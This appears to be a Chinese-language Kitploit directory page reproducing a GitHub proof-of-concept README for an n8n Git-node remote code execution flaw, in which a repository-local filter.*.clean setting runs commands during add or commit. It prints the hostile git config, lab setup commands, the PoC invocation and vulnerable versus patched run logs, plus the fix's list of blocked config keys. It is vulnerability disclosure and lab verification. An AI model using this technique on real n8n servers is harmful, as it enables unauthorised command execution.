Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-85168-PoC — CVE-2026-85168 — n8n Git 节点在 add|commit|checkout 时通过仓库本地 filter.*.clean / merge-driver 配置导致的远程代码执行。已在 v2.35.3 / v2.36.2 验证。 | Kitploit
工具/GitHubGitHub/boreas37/cve-2026-85168-poc
漏洞分析漏洞利用Web应用程序漏洞利用安全虚拟化渗透测试红队实验室与实践
GitHubboreas37/cve-2026-85168-poc

CVE-2026-85168-PoC

CVE-2026-85168 — n8n Git 节点在 add|commit|checkout 时通过仓库本地 filter.*.clean / merge-driver 配置导致的远程代码执行。已在 v2.35.3 / v2.36.2 验证。

查看仓库
11224天前尚未审核
分享

CVE-2026-85168 — n8n Git 节点通过仓库本地 git 配置实现远程代码执行

Git 节点用 -c 固定了它所知道的外部程序配置键 (core.sshCommand、core.fsmonitor、core.pager、diff.external、 credential.helper、core.gitProxy、gpg.program、init.templateDir),但从未 检查仓库自身的 .git/config 中的 content-filter 和 merge-driver 系列配置。一个定义了

[filter "pwn"]
    clean = <command>

再加上匹配的 .gitattributes(* filter=pwn),就会让 git 在节点执行普通的 Add、Commit、Checkout 或 Pull 操作时执行 <command>。该命令以 n8n 进程用户(node,uid 1000)的身份运行。

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 受影响版本:< 1.123.73、>= 2.0.0 < 2.35.4、< 2.36.2
  • 修复版本:1.123.73 / 2.35.4 / 2.36.2
  • 修复提交:4c60d38f2a83("chore: Bundle/2.x (backport to release-candidate/2.36.x)") → packages/nodes-base/nodes/Git/GenericFunctions.ts 新增了 findBlacklistedKeys(),其中包含针对 filter.*.(clean|smudge|process)、 merge.*.driver、remote.*.(uploadpack|receivepack)、gpg.*.program、 core.askpass、core.editor、core.alternateRefsCommand、 gc.recentObjectsHook、hook.*.command、sequence.editor、 gpg.ssh.defaultKeyCommand、url.*.(insteadOf|pushInsteadOf) 的模式; Git.node.ts 在 add/commit/checkout/pull/push 之前调用 validateGitConfig(), 并以 Repository Git config key '<key>' is not allowed 中止。

前置条件(漏洞的一部分)

攻击者必须能够将一个带有自选本地配置的仓库放到 Git 节点面前——例如导入/共享的检出、挂载卷上的项目仓库等。在本实验中,--prepare 正是将这样一个仓库植入容器内(作为工作流作者文件写入步骤的替代)。此后的一切操作都由已认证用户通过 n8n REST API 完成。

该节点只接受 ~/.n8n-files 下的仓库(restrictFileAccessTo 默认值),并拒绝匹配 .git 阻止模式的路径,因此实验仓库位于 /home/node/.n8n-files/pwn-repo。

实验

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve85165      -f docker-compose.2353.yml up -d   # 2.35.3 -> :20001
docker compose -p poc-n8n-cve85165-fix  -f docker-compose.2362.yml up -d   # 2.36.2 -> :20003

n8nio/n8n:2.35.3 附带 [email protected](没有 findBlacklistedKeys)→ 存在漏洞。n8nio/n8n:2.36.2 附带 [email protected](存在黑名单)→ 已修复。请注意,2.36.1 Docker 镜像同样附带 [email protected],因此 该镜像同样不存在漏洞;2.35.3 是最接近的已发布存在漏洞的标签。

运行

python3 n8n_poc.py --url http://127.0.0.1:20001 \
  --container n8n-vuln-2353 --prepare --command 'id'

存在漏洞 — n8nio/n8n:2.35.3(run_vulnerable_2.35.3.txt)

[*] target   : http://127.0.0.1:20001
[*] repo     : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth     : logged in as [email protected]
[*] workflow : vuCSuHLscbXUty8i (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 30
[*] git node : ok {"success": true}
[+] evidence read from container:
    uid=1000(node) gid=1000(node) groups=1000(node)
=> PASS (CVE-2026-85168: git executed the repository-configured command as the n8n user)
exit=0

容器侧检查(side_effect_2.35.3.txt):

-rw-r--r--    1 node     node            48 Oct 24 14:01 /home/node/.n8n-files/pwn-repo/out.txt
uid=1000(node) gid=1000(node) groups=1000(node)
--- git config
[filter "pwn"]
	clean = sh -c "id > /home/node/.n8n-files/pwn-repo/out.txt; cat"

已修补 — n8nio/n8n:2.36.2 (run_patched_2.36.2.txt)

[*] target   : http://127.0.0.1:20003
[*] repo     : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth     : logged in as [email protected]
[*] workflow : PteOTvLgk4FC8M4Z (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 16
[*] git node : error Repository Git config key 'filter.pwn.clean' is not allowed
[!] no evidence file in container: cat: can't open '/home/node/.n8n-files/pwn-repo/out.txt': No such file or directory
=> FAIL (CVE-2026-85168: git config key rejected before the operation ran)
exit=1

两个目标上的仓库完全相同;只有 n8n 构建不同。

证据通道

主要证据:由 GET /rest/executions/<id>?includeData=true 返回的工作流输出 (Git 节点的 {"success": true} 与拒绝错误)。次要证据(因为 命令的输出写入文件,而不是写入 HTTP 响应):通过 docker exec <container> cat <repo>/out.txt 读回证明文件——这就是 --container 步骤,在脚本中明确标记为实验侧操作。

文件

文件内容
n8n_poc.py仅使用标准库的 PoC(--url --email --password --command --repo-path --container --prepare --output)
run_vulnerable_2.35.3.txt, run_patched_2.36.2.txt原始运行记录
evidence_vulnerable_2.35.3.json, evidence_patched_2.36.2.jsonJSON 证据
side_effect_2.35.3.txt, side_effect_2.36.2.txt容器侧检查
docker_logs_2.35.3.txt, docker_logs_2.36.2.txt容器日志
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    717
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    504
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    402
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    342
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259

探索所有工具

浏览我们的工具集合

查看所有工具 →